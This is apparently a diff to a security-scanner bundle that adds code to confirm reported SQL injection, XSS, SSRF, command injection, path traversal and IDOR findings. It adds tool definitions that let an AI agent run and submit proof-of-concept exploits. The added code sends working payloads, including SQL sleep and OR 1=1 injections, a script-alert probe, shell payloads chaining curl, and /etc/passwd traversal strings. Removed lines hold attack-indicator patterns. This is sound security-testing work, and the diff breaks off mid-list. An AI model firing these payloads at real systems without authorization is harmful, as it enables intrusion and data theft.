2408
+ init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
2409
+ }
2410
+ return { url: url.toString(), init };
2411
+ }
2412
+ async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
2413
+ const controller = new AbortController();
2414
+ const timer = setTimeout(() => controller.abort(), timeoutMs);
2415
+ const start = Date.now();
2416
+ try {
2417
+ const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
2418
+ const body = await res.text();
2419
+ return { status: res.status, body, latencyMs: Date.now() - start };
2420
+ } catch {
2421
+ return null;
2422
+ } finally {
2423
+ clearTimeout(timer);
2424
+ }
2425
+ }
2426
+ var SQL_ERROR_PATTERNS = [
2427
+ // MySQL
2428
+ /You have an error in your SQL syntax/i,
2429
+ /\bmysql_fetch_/i,
2430
+ /\bMySQLSyntaxErrorException\b/i,
2431
+ /\bMariaDB\b.*?\bsyntax\b/i,
2432
+ // PostgreSQL
2433
+ /\bPG::SyntaxError\b/i,
2434
+ /\bpq:\s+syntax error\b/i,
2435
+ /\bpsql:.*?ERROR:/i,
2436
+ /unterminated quoted string/i,
2437
+ // SQLite
2438
+ /\bSQLite3::/i,
2439
+ /\bsqlite3\.OperationalError\b/i,
2440
+ /near\s+".+?":\s*syntax error/i,
2441
+ // MSSQL
2442
+ /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
2443
+ /\bUnclosed quotation mark\b/i,
2444
+ /\bOLE DB.*?SQL Server\b/i,
2445
+ // Oracle
2446
+ /\bORA-\d{4,5}\b/i,
2447
+ /\bquoted string not properly terminated\b/i
2448
+ ];
2449
+ function detectSqlError(body) {
2450
+ for (const re of SQL_ERROR_PATTERNS) {
2451
+ const m = body.match(re);
2452
+ if (m)
2453
+ return m[0];
2454
+ }
2455
+ return null;
2456
+ }
2457
+ function pickInjectableParam(parsed) {
2458
+ for (const [k, v] of Object.entries(parsed.params)) {
2459
+ if (v && v.length > 0)
2460
+ return { key: k, value: v };
2461
+ }
2462
+ const first = Object.keys(parsed.params)[0];
2463
+ if (first)
2464
+ return { key: first, value: parsed.params[first] ?? "" };
2465
+ return null;
2466
+ }
2467
+ async function verifySqli(finding, target, context = {}) {
2468
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
2469
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
2470
+ const victim = pickInjectableParam(parsed);
2471
+ if (!victim)
2472
+ return notVerifiable("no injectable parameter found in finding evidence");
2473
+ const signals = [];
2474
+ const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
2475
+ if (!baseline)
2476
+ return notVerifiable("baseline request failed");
2477
+ const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
2478
+ const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
2479
+ if (trueProbe && falseProbe && trueProbe.body.length > 0) {
2480
+ const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
2481
+ if (delta > 0.1) {
2482
+ signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
2483
+ }
2484
+ }
2485
+ const timePayloads = [
2486
+ `${victim.value}' AND SLEEP(3)-- -`,
2487
+ `${victim.value}'; SELECT pg_sleep(3)-- -`,
2488
+ `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
2489
+ ];
2490
+ for (const payload of timePayloads) {
2491
+ const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
2492
+ if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
2493
+ signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
2494
+ break;
2495
+ }
2496
+ }
2497
+ const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
2498
+ if (errProbe) {
2499
+ const err = detectSqlError(errProbe.body);
2500
+ if (err)
2501
+ signals.push(`sql_error: ${err}`);
2502
+ }
2503
+ if (signals.length >= 2) {
2504
+ return verified(signals.join(" | "));
2505
+ }
2506
+ return {
2507
+ verified: false,
2508
+ confidence: signals.length === 1 ? 0.4 : 0,
2509
+ evidence: signals.join(" | "),
2510
+ reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
2511
+ };
2512
+ }
2513
+ async function verifyReflectedXss(finding, target, context = {}) {
2514
+ const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
2515
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
2516
+ const victim = pickInjectableParam(parsed);
2517
+ if (!victim)
2518
+ return notVerifiable("no injectable parameter found in finding evidence");
2519
+ const token = `osec_${randomUUID().replace(/-/g, "")}`;
2520
+ const payload = `<script>alert('${token}')</script>`;
2521
+ const { url, init } = buildProbeRequest(parsed, {
2522
+ [victim.key]: payload
2523
+ });
2524
+ const probe = await timedFetch(url, init);
2525
+ const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
2526
+ let playwright = null;
2527
+ try {
2528
+ playwright = await import("playwright");
2529
+ } catch {
2530
+ }
2531
+ if (playwright) {
2532
+ let browser = null;
2533
+ try {
2534
+ browser = await playwright.chromium.launch({ headless: true });
2535
+ const page = await browser.newPage();
2536
+ let dialogMessage = "";
2537
+ page.on("dialog", async (dialog) => {
2538
+ if (dialog.type() === "alert" && dialog.message() === token) {
2539
+ dialogMessage = token;
2540
+ }
2541
+ await dialog.dismiss().catch(() => {
2542
+ });
2543
+ });
2544
+ let replayed = false;
2545
+ await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
2546
+ const request = route.request();
2547
+ const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
2548
+ if (initial)
2549
+ replayed = true;
2550
+ const replayInit = {
2551
+ method: initial ? init.method : request.method(),
2552
+ headers: initial ? init.headers : request.headers(),
2553
+ body: initial ? init.body : request.postData(),
2554
+ redirect: "manual"
2555
+ };
2556
+ if (context.fetch) {
2557
+ try {
2558
+ const response = await context.fetch(request.url(), replayInit);
2559
+ const headers = Object.fromEntries(response.headers);
2560
+ delete headers["content-encoding"];
2561
+ delete headers["content-length"];
2562
+ await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
2563
+ } catch {
2564
+ await route.abort();
2565
+ }
2566
+ } else if (initial) {
2567
+ await route.continue({
2568
+ method: init.method,
2569
+ headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
2570
+ ...typeof init.body === "string" ? { postData: init.body } : {}
2571
+ });
2572
+ } else {
2573
+ await route.continue();
2574
+ }
2575
+ });
2576
+ await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
2577
+ await page.waitForTimeout(500);
2578
+ await browser.close();
2579
+ browser = null;
2580
+ if (dialogMessage === token) {
2581
+ return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
2582
+ }
2583
+ } catch (err) {
2584
+ if (browser)
2585
+ await browser.close().catch(() => {
2586
+ });
2587
+ return {
2588
+ verified: false,
2589
+ confidence: htmlReflected ? 0.4 : 0,
2590
+ evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
2591
+ inconclusive: true,
2592
+ reason: `playwright navigation failed: ${err.message}`
2593
+ };
2594
+ }
2595
+ }
2596
+ if (htmlReflected) {
2597
+ return {
2598
+ verified: false,
2599
+ confidence: 0.5,
2600
+ evidence: `html_reflection: payload reflected unencoded in response body`,
2601
+ reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
2602
+ };
2603
+ }
2604
+ return notVerifiable("no xss reflection or alert captured");
2605
+ }
2606
+ async function withCollector(nonce, timeoutMs, work) {
2607
+ const port = 8888 + Math.floor(Math.random() * 1e3);
2608
+ let hit = false;
2609
+ const server = createServer((req, res) => {
2610
+ if ((req.url ?? "").includes(nonce))
2611
+ hit = true;
2612
+ res.writeHead(200);
2613
+ res.end("ok");
2614
+ });
2615
+ await new Promise((resolve2) => server.listen(port, "127.0.0.1", resolve2));
2616
+ const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
2617
+ const waitForHit = async () => {
2618
+ const deadline = Date.now() + timeoutMs;
2619
+ while (Date.now() < deadline) {
2620
+ if (hit)
2621
+ return true;
2622
+ await new Promise((r) => setTimeout(r, 100));
2623
+ }
2624
+ return hit;
2625
+ };
2626
+ try {
2627
+ return await work(collectorUrl, waitForHit);
2628
+ } finally {
2629
+ await new Promise((resolve2) => server.close(() => resolve2()));
2630
+ }
2631
+ }
2632
+ async function verifySsrf(finding, target, context = {}) {
2633
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
2634
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
2635
+ const victim = pickInjectableParam(parsed);
2636
+ if (!victim)
2637
+ return notVerifiable("no injectable parameter found in finding evidence");
2638
+ const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
2639
+ return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
2640
+ const { url, init } = buildProbeRequest(parsed, {
2641
+ [victim.key]: collectorUrl
2642
+ });
2643
+ const probe = await timedFetch(url, init, 8e3);
2644
+ if (!probe)
2645
+ return notVerifiable("ssrf probe failed to send");
2646
+ const hit = await waitForHit();
2647
+ if (hit) {
2648
+ return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
2649
+ }
2650
+ return {
2651
+ verified: false,
2652
+ confidence: 0,
2653
+ evidence: "",
2654
+ reason: `collector never received a request for nonce=${nonce}`
2655
+ };
2656
+ });
2657
+ }
2658
+ async function verifyRce(finding, target, context = {}) {
2659
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
2660
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
2661
+ const victim = pickInjectableParam(parsed);
2662
+ if (!victim)
2663
+ return notVerifiable("no injectable parameter found in finding evidence");
2664
+ const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
2665
+ return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
2666
+ const payloads = [
2667
+ `${victim.value};curl ${collectorUrl}`,
2668
+ `${victim.value}|curl ${collectorUrl}`,
2669
+ `${victim.value}$(curl ${collectorUrl})`,
2670
+ `${victim.value}\`curl ${collectorUrl}\``,
2671
+ `${victim.value}&&curl ${collectorUrl}`
2672
+ ];
2673
+ for (const payload of payloads) {
2674
+ const { url, init } = buildProbeRequest(parsed, {
2675
+ [victim.key]: payload
2676
+ });
2677
+ await timedFetch(url, init, 8e3);
2678
+ }
2679
+ const hit = await waitForHit();
2680
+ if (hit)
2681
+ return verified(`collector hit: nonce=${nonce}`);
2682
+ return {
2683
+ verified: false,
2684
+ confidence: 0,
2685
+ evidence: "",
2686
+ reason: `collector never received a request for nonce=${nonce}`
2687
+ };
2688
+ });
2689
+ }
2690
+ var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
2691
+ async function verifyPathTraversal(finding, target, context = {}) {
2692
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
2693
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
2694
+ const victim = pickInjectableParam(parsed);
2695
+ if (!victim)
2696
+ return notVerifiable("no injectable parameter found in finding evidence");
2697
+ const payloads = [
2698
+ "../../../../etc/passwd",
2699
+ "..%2f..%2f..%2f..%2fetc%2fpasswd",
2700
+ "..%252f..%252f..%252fetc%252fpasswd",
2701
+ "../../../../etc/passwd%00",
2702
+ "....//....//....//etc/passwd",
2703
+ "/etc/passwd"
2704
+ ];
2705
+ for (const payload of payloads) {
2706
+ const { url, init } = buildProbeRequest(parsed, {
2707
+ [victim.key]: payload
2708
+ });
2709
+ const probe = await timedFetch(url, init);
2710
+ if (!probe)
2711
+ continue;
2712
+ const m = probe.body.match(PASSWD_PATTERN);
2713
+ if (m) {
2714
+ return verified(`payload=${payload} response contained "${m[0]}"`);
2715
+ }
2716
+ }
2717
+ return notVerifiable("no /etc/passwd signature in any traversal probe response");
2718
+ }
2719
+ async function verifyIdor(finding, target, context = {}) {
2720
+ const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
2721
+ const boundary = await context.verifyAccessControl?.(finding, target);
2722
+ if (boundary)
2723
+ return boundary;
2724
+ const parsed = parseRequest(finding.evidence?.request ?? "", target);
2725
+ if (parsed.method !== "GET")
2726
+ return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
2727
+ let idKey = null;
2728
+ let idValue = 0;
2729
+ for (const [k, v] of Object.entries(parsed.params)) {
2730
+ if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
2731
+ idKey = k;
2732
+ idValue = parseInt(v, 10);
2733
+ break;
2734
+ }
2735
+ }
2736
+ if (!idKey) {
2737
+ for (const [k, v] of Object.entries(parsed.params)) {
2738
+ if (/^\d+$/.test(v)) {
2739
+ idKey = k;
2740
+ idValue = parseInt(v, 10);
2741
+ break;
2742
+ }
2743
+ }
2744
+ }
2745
+ if (!idKey)
2746
+ return notVerifiable("no numeric id-like parameter to mutate");
2747
+ const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
2748
+ if (!baseline)
2749
+ return notVerifiable("baseline request failed");
2750
+ const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
2751
+ const hits = [];
2752
+ for (const variant of variants) {
2753
+ if (variant === String(idValue))
2754
+ continue;
2755
+ const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
2756
+ if (!probe)
2757
+ continue;
2758
+ if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
2759
+ hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
2760
+ }
2761
+ }
2762
+ if (hits.length > 0) {
2763
+ return {
2764
+ verified: false,
2765
+ confidence: 0.7,
2766
+ inconclusive: true,
2767
+ evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
2768
+ reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
2769
+ };
2770
+ }
2771
+ return notVerifiable("no distinct 200 response on id mutation");
2772
+ }
2773
+ async function verifyOracleByCategory(finding, target, context = {}) {
2774
+ const category = finding.category;
2775
+ switch (category) {
2776
+ case "sql-injection":
2777
+ return verifySqli(finding, target, context);
2778
+ case "xss":
2779
+ return verifyReflectedXss(finding, target, context);
2780
+ case "ssrf":
2781
+ return verifySsrf(finding, target, context);
2782
+ case "command-injection":
2783
+ case "code-injection":
2784
+ return verifyRce(finding, target, context);
2785
+ case "path-traversal":
2786
+ return verifyPathTraversal(finding, target, context);
2787
+ // Heuristic: "information-disclosure" findings referencing an id param
2788
+ // look a lot like IDOR. We route them through the IDOR oracle as well.
2789
+ case "information-disclosure":
2790
+ return verifyIdor(finding, target, context);
2791
+ default:
2792
+ return {
2793
+ verified: false,
2794
+ confidence: 0,
2795
+ evidence: "",
2796
+ reason: `no oracle for category="${category}"`
2797
+ };
2798
+ }
2799
+ }
1433
2800
 
1434
- ### Step 4: Triage, don't over-claim
1435
- - For each reproduced crash, classify the primitive (use-after-free, type-confusion,
1436
- heap-oob-*, \u2026) and whether the offset / value is attacker-controllable.
1437
- - A crash under the sanitizer is a *finding*; a full UAF\u2192leak\u2192arbitrary-read chain
1438
- is NOT auto-synthesised \u2014 that stays human/agent-authored and gated by verify.
1439
- - save_finding with: the unsafe block / GC-root gap, the minimal reproducing input,
1440
- the sanitizer/miri output, and the local build commit. Assume false-positive until
1441
- the local instrumented build reproduces it deterministically.`
1442
- };
1443
- var INDICATORS = [
1444
- {
1445
- type: "sqli",
1446
- patterns: [
1447
- /SQL syntax/i,
1448
- /mysql_fetch/i,
1449
- /sqlite3?\./i,
1450
- /pg_query/i,
1451
- /ORA-\d{5}/i,
1452
- /ODBC SQL Server/i,
1453
- /unclosed quotation mark/i,
1454
- /syntax error.*near/i,
1455
- /sql.*error/i,
1456
- /database.*error/i,
1457
- /SELECT\s+.*FROM\s+/i,
1458
- /information_schema/i,
1459
- /UNION\s+SELECT/i
1460
- ]
1461
- },
1462
- {
1463
- // Structural / JSON-key SQLi (#774): the injectable surface is a key /
1464
- // field name concatenated into SQL (ORDER BY, dynamic column). These
1465
- // patterns point at identifier-position injection + the column-name error
1466
- // shapes that value-fuzz SQLi detection does not key on.
1467
- type: "structural_sqli",
1468
- patterns: [
1469
- /ORDER\s+BY/i,
1470
- /GROUP\s+BY/i,
1471
- /Unknown column '[^']*' in/i,
1472
- /column "[^"]*" does not exist/i,
1473
- /Invalid column name/i,
1474
- /no such column/i,
1475
- /\b(sort|order)(_?by|_?field|field|_?column|_?dir)\b/i,
1476
- /"(sort|order|column|field|groupBy|orderBy)"\s*:/i,
1477
- /unrecognized token/i
1478
- ]
1479
- },
1480
- {
1481
- type: "ssti",
1482
- patterns: [
1483
- /\{\{.*\}\}/,
1484
- /\$\{.*\}/,
1485
- /<%=.*%>/,
1486
- /jinja/i,
1487
- /mako/i,
1488
- /twig/i,
1489
- /freemarker/i,
1490
- /thymeleaf/i,
1491
- /template.*engine/i,
1492
- /\b49\b/
1493
- // result of {{7*7}}
1494
- ]
1495
- },
1496
- {
1497
- type: "idor",
1498
- patterns: [
1499
- /\/api\/users?\/\d+/i,
1500
- /\/profile\?id=/i,
1501
- /\/user\/\d+/i,
1502
- /\/account\/\d+/i,
1503
- /\/edit\/\d+/i,
1504
- /\/order\/\d+/i,
1505
- /user_id/i,
1506
- /owner_id/i,
1507
- /account_id/i
1508
- ]
1509
- },
1510
- {
1511
- // Multi-identity access-control surface (0#564). Distinct from `idor`:
1512
- // these patterns point at object/function references that should be tested
1513
- // with the access_control_probe tool across identities, plus the authz
1514
- // signals (admin endpoints, role params, allow/deny status codes).
1515
- type: "access_control",
1516
- patterns: [
1517
- /\/api\/[a-z]+\/\d+/i,
1518
- /\/api\/admin\//i,
1519
- /\/admin\b/i,
1520
- /\bobject[_-]?id\b/i,
1521
- /\bresource[_-]?id\b/i,
1522
- /\borg(?:anization)?[_-]?id\b/i,
1523
- /\btenant[_-]?id\b/i,
1524
- /\bis[_-]?admin\b/i,
1525
- /\brole\s*[=:]/i,
1526
- /\bunauthorized\b/i,
1527
- /\bforbidden\b/i,
1528
- /\b403\b/,
1529
- /\b401\b/
1530
- ]
1531
- },
1532
- {
1533
- type: "xss",
1534
- patterns: [
1535
- /<script/i,
1536
- /onerror\s*=/i,
1537
- /onload\s*=/i,
1538
- /javascript:/i,
1539
- /document\.cookie/i,
1540
- /innerHTML/i,
1541
- /document\.write/i,
1542
- /reflected.*input/i,
1543
- /Content-Type:.*text\/html/i,
1544
- /<form[\s>]/i,
1545
- /<input[\s>]/i,
1546
- /<textarea[\s>]/i,
1547
- /type=["']?text["']?/i,
1548
- /name=["']?(search|query|q|comment|message|name|title|body|content|text|url|redirect|callback|return)/i,
1549
- /\?[^=]+=.*</i,
1550
- /xss/i,
1551
- /cross.site/i,
1552
- /sanitiz/i,
1553
- /escape/i,
1554
- /\.php\?/i
1555
- ]
1556
- },
1557
- {
1558
- type: "ssrf",
1559
- patterns: [
1560
- /url[=:]\s*http/i,
1561
- /webhook/i,
1562
- /callback.*url/i,
1563
- /fetch.*url/i,
1564
- /proxy/i,
1565
- /redirect.*url/i,
1566
- /169\.254\.169\.254/,
1567
- /metadata/i
1568
- ]
1569
- },
1570
- {
1571
- type: "lfi",
1572
- patterns: [
1573
- /file[=:]/i,
1574
- /path[=:]/i,
1575
- /include[=:]/i,
1576
- /template[=:]/i,
1577
- /\.\.\/\.\.\//,
1578
- /etc\/passwd/i,
1579
- /\/proc\/self/i,
1580
- /root:x:0:0/,
1581
- /\[boot loader\]/i
1582
- ]
1583
- },
2801
+ // packages/core/dist/triage/pov-gate.js
2802
+ var execFileAsync = promisify(execFile2);
2803
+ function oracleForCategory(category) {
2804
+ switch (category) {
2805
+ case "xss":
2806
+ return "headless-browser";
2807
+ case "ssrf":
2808
+ case "command-injection":
2809
+ case "code-injection":
2810
+ return "oast-callback";
2811
+ default:
2812
+ return "regex-fallback";
2813
+ }
2814
+ }
2815
+ function oastConfirmedPayload(finding, oracle) {
2816
+ if (!oracle.verified)
2817
+ return null;
2818
+ if (oracleForCategory(finding.category) !== "oast-callback")
2819
+ return null;
2820
+ return {
2821
+ findingId: finding.id,
2822
+ category: finding.category,
2823
+ oracle: "oast-callback",
2824
+ hasPov: true,
2825
+ reason: oracle.evidence || void 0
2826
+ };
2827
+ }
2828
+ var POV_TOOLS = [
1584
2829
  {
1585
- type: "auth_bypass",
1586
- patterns: [
1587
- /login/i,
1588
- /sign.?in/i,
1589
- /auth/i,
1590
- /password/i,
1591
- /session/i,
1592
- /jwt/i,
1593
- /bearer/i,
1594
- /unauthorized/i,
1595
- /403/,
1596
- /401/
1597
- ]
2830
+ name: "bash",
2831
+ description: "Execute a shell command (curl, python, etc.) to run the exploit. Use this to actually invoke your PoC and capture its output.",
2832
+ input_schema: {
2833
+ type: "object",
2834
+ properties: {
2835
+ command: { type: "string", description: "Shell command to run" }
2836
+ },
2837
+ required: ["command"]
2838
+ }
1598
2839
  },
1599
2840
  {
1600
- type: "blind_exploitation",
1601
- patterns: [
1602
- /\bblind\b/i,
1603
- /no output/i,
1604
- /waf/i,
1605
- /firewall/i,
1606
- /filter.*block/i,
1607
- /block.*filter/i,
1608
- /request.*rejected/i,
1609
- /forbidden/i,
1610
- /\b403\b/,
1611
- /not allowed/i,
1612
- /suspicious/i,
1613
- /malicious.*input/i,
1614
- /identical.*respons/i,
1615
- /same.*respons/i,
1616
- /time.?based/i,
1617
- /out.?of.?band/i,
1618
- /\boob\b/i,
1619
- /callback/i,
1620
- /interactsh/i,
1621
- /webhook\.site/i,
1622
- /sleep\(/i,
1623
- /pg_sleep/i,
1624
- /benchmark\(/i,
1625
- /php:\/\/filter/i,
1626
- /convert\.base64-encode/i,
1627
- /\.\.%2f/i,
1628
- /\.\.%252f/i,
1629
- /encoding.*restrict/i,
1630
- /sanitiz.*input/i,
1631
- /stripped/i
1632
- ]
2841
+ name: "http_request",
2842
+ description: "Send a raw HTTP request. Returns the response body/status. Useful when you want a typed request without shelling out to curl.",
2843
+ input_schema: {
2844
+ type: "object",
2845
+ properties: {
2846
+ url: { type: "string", description: "Target URL" },
2847
+ method: { type: "string", description: "HTTP method (default GET)" },
2848
+ body: { type: "string", description: "Request body" },
2849
+ headers: {
2850
+ type: "object",
2851
+ description: "Additional headers as key-value pairs"
2852
+ }
2853
+ },
2854
+ required: ["url"]
2855
+ }
1633
2856
  },
1634
2857
  {
1635
- type: "command_injection",
1636
- patterns: [
1637
- /exec\s*\(/i,
1638
- /system\s*\(/i,
1639
- /popen\s*\(/i,
1640
- /subprocess/i,
1641
- /child_process/i,
1642
- /shell.*true/i,
1643
- /ping\s/i,
1644
- /nslookup/i,
1645
- /traceroute/i
1646
- ]
2858
+ name: "submit_pov",
2859
+ description: "Submit the final proof-of-vulnerability once you have confirmed the exploit works. Call this EXACTLY ONCE with the working artifact and the execution output that proves exploitation. Only call this after you have actually run the exploit and seen category-specific proof in the response.",
2860
+ input_schema: {
2861
+ type: "object",
2862
+ properties: {
2863
+ artifact_type: {
2864
+ type: "string",
2865
+ description: "Type of artifact",
2866
+ enum: ["curl", "python", "javascript", "bash"]
2867
+ },
2868
+ artifact: {
2869
+ type: "string",
2870
+ description: "The concrete PoC (e.g. the full curl command or script source)."
2871
+ },
2872
+ execution_evidence: {
2873
+ type: "string",
2874
+ description: "The response / output from running the artifact, showing category-specific proof (extracted data, /etc/passwd, whoami, reflected script, etc.)."
2875
+ }
2876
+ },
2877
+ required: ["artifact_type", "artifact", "execution_evidence"]
2878
+ }
1647
2879
  },
1648
2880
  {
1649
- type: "deserialization",
2881
+ name: "give_up",
2882
+ description: "Call this if you CANNOT produce a working exploit. Do NOT speculate or describe what would happen \u2014 if you cannot run it and see real proof, give up honestly.",
2883
+ input_schema: {
2884
+ type: "object",
2885
+ properties: {
2886
+ reason: { type: "string", description: "Why no PoV was possible" }
2887
+ },
2888
+ required: ["reason"]
2889
+ }
2890
+ }
2891
+ ];
2892
+ var CATEGORY_JUDGES = {
2893
+ "sql-injection": {
2894
+ label: "SQLi: extracted DB data / error / version string",
1650
2895
  patterns: [
1651
- // PHP
1652
- /unserialize\s*\(/i,
1653
- /__wakeup/,
1654
- /__destruct/,
1655
- /O:\d+:"[\w\\]+":\d+:\{/,
1656
- // PHP serialized object header
1657
- /unserialize\(\):\s*Error at offset/i,
1658
- /phpggc/i,
1659
- // Python pickle
1660
- /pickle\.loads?\s*\(/i,
1661
- /cPickle/i,
1662
- /__reduce__/,
1663
- // YAML
1664
- /yaml\.load\s*\(/i,
1665
- /!!python\/object/i,
1666
- /!ruby\/object/i,
1667
- /SnakeYAML/i,
1668
- /FullLoader/,
1669
- /SafeLoader/,
1670
- // Java
1671
- /rO0AB/,
1672
- // base64 of Java serialization magic
1673
- /\xac\xed\x00\x05/,
1674
- /application\/x-java-serialized-object/i,
1675
- /ysoserial/i,
1676
- /CommonsCollections/i,
1677
- // .NET
1678
- /BinaryFormatter/i,
1679
- /ObjectStateFormatter/i,
1680
- /__VIEWSTATE/,
1681
- /TypeNameHandling/i,
1682
- // Ruby
1683
- /Marshal\.load/i,
1684
- /Gem::Installer/,
1685
- // Generic
1686
- /deserializ/i,
1687
- /serializ.*object/i
2896
+ /\b(mysql|mariadb|postgres|postgresql|sqlite|oracle)\b.*\bversion\b/i,
2897
+ /\b\d+\.\d+\.\d+[-\w]*-?(mariadb|mysql|ubuntu|debian|log)\b/i,
2898
+ /you have an error in your sql syntax/i,
2899
+ /ORA-\d{5}/,
2900
+ /pg_(sleep|version|database)/i,
2901
+ /information_schema\.(tables|columns|schemata)/i,
2902
+ /union\s+select/i,
2903
+ /\bsqlite_version\(\)/i,
2904
+ // Extracted user/hash row patterns
2905
+ /['"]\s*,\s*['"][0-9a-f]{32,}['"]/
1688
2906
  ]
1689
2907
  },
1690
- {
1691
- type: "request_smuggling",
2908
+ xss: {
2909
+ label: "XSS: script reflected unencoded or dialog fired",
1692
2910
  patterns: [
1693
- /Transfer-Encoding/i,
1694
- /chunked/i,
1695
- /Content-Length.*Transfer-Encoding/is,
1696
- /Transfer-Encoding.*Content-Length/is,
1697
- /CL\.TE/i,
1698
- /TE\.CL/i,
1699
- /TE\.TE/i,
1700
- /desync/i,
1701
- /smuggl/i,
1702
- /HAProxy/i,
1703
- /Apache Traffic Server/i,
1704
- /\bnginx\/1\.[0-9]\./i,
1705
- // old nginx often vulnerable
1706
- /HTTP\/1\.1.*keep-alive/i,
1707
- /front.?end.*back.?end/i,
1708
- /reverse.proxy/i,
1709
- /X-Forwarded-For/i
2911
+ /<script[^>]*>[^<]*(alert|confirm|prompt)\s*\(/i,
2912
+ /on(error|load|click|mouseover)\s*=\s*["']?\s*(alert|confirm|prompt)\s*\(/i,
2913
+ /dialog\s+(fired|opened|appeared)/i,
2914
+ /\balert\(1\)/i,
2915
+ /javascript:alert/i
1710
2916
  ]
1711
2917
  },
1712
- {
1713
- type: "creative_idor",
2918
+ ssrf: {
2919
+ label: "SSRF: internal IP/metadata endpoint responded",
1714
2920
  patterns: [
1715
- /\/api\/v\d+\//i,
1716
- /\/v\d+\//,
1717
- /id=\d+/,
1718
- /user_?id/i,
1719
- /owner_?id/i,
1720
- /account_?id/i,
1721
- /role=/i,
1722
- /is_?admin/i,
1723
- /X-Original-URL/i,
1724
- /X-Rewrite-URL/i,
1725
- /X-HTTP-Method/i,
1726
- /_method=/i,
1727
- /mass.assignment/i,
1728
- /parameter.pollution/i,
1729
- /\bHPP\b/,
1730
- /403.*forbidden/i,
1731
- /401.*unauthorized/i,
1732
- /not.*authorized/i,
1733
- /permission.denied/i,
1734
- /access.denied/i,
1735
- /enumerate/i,
1736
- /sequential.*id/i,
1737
- /predictable.*id/i
2921
+ /169\.254\.169\.254/,
2922
+ /metadata\.google\.internal/i,
2923
+ /instance-identity/i,
2924
+ /iam\/security-credentials/i,
2925
+ /127\.0\.0\.1|localhost/i,
2926
+ /10\.\d{1,3}\.\d{1,3}\.\d{1,3}/,
2927
+ /192\.168\.\d{1,3}\.\d{1,3}/,
2928
+ /172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}/
1738
2929
  ]
1739
2930
  },
1740
- {
1741
- type: "cve_exploitation",
2931
+ "command-injection": {
2932
+ label: "RCE: command output in response",
1742
2933
  patterns: [
1743
- // WordPress indicators
1744
- /wp-content/i,
1745
- /wp-includes/i,
1746
- /wp-admin/i,
1747
- /wp-json/i,
1748
- /xmlrpc\.php/i,
1749
- /wordpress/i,
1750
- /wp-login/i,
1751
- /\/wp-content\/plugins\//i,
1752
- /\/wp-content\/themes\//i,
1753
- // Drupal / Joomla
1754
- /drupal/i,
1755
- /joomla/i,
1756
- /X-Drupal-Cache/i,
1757
- // Generator / version disclosure
1758
- /<meta\s+name=["']generator["']/i,
1759
- /X-Generator:/i,
1760
- /X-Powered-By:/i,
1761
- /Server:\s*Apache\/[\d.]+/i,
1762
- /Server:\s*nginx\/[\d.]+/i,
1763
- // Common fingerprint files
1764
- /readme\.html/i,
1765
